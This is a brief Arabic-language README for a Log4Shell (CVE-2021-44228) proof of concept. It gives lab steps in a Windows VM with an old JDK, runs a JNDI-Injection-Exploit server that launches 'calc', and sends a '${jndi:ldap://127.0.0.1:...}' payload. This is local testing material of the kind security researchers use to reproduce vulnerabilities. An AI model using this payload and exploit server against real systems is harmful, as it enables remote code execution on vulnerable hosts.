CVE-2021-44228_Log4Shell

CVE-2021-44228_Log4Shell

كود مصدر اختبار لـ Log4Shell (CVE-2021-44228).

معلومات الخطوات

1. قم بتثبيت JDK8 (< 8u191) في آلة افتراضية (Windows 10).

2. انسخ out\artifacts\POC_jar\POC.jar في Windows.

3. انسخ JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar في Windows، احصل على JNDI-Injection-Exploit

4. شغّل java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

5. شغّل java -jar POC.jar ${jndi:ldap://127.0.0.1:1389/*****}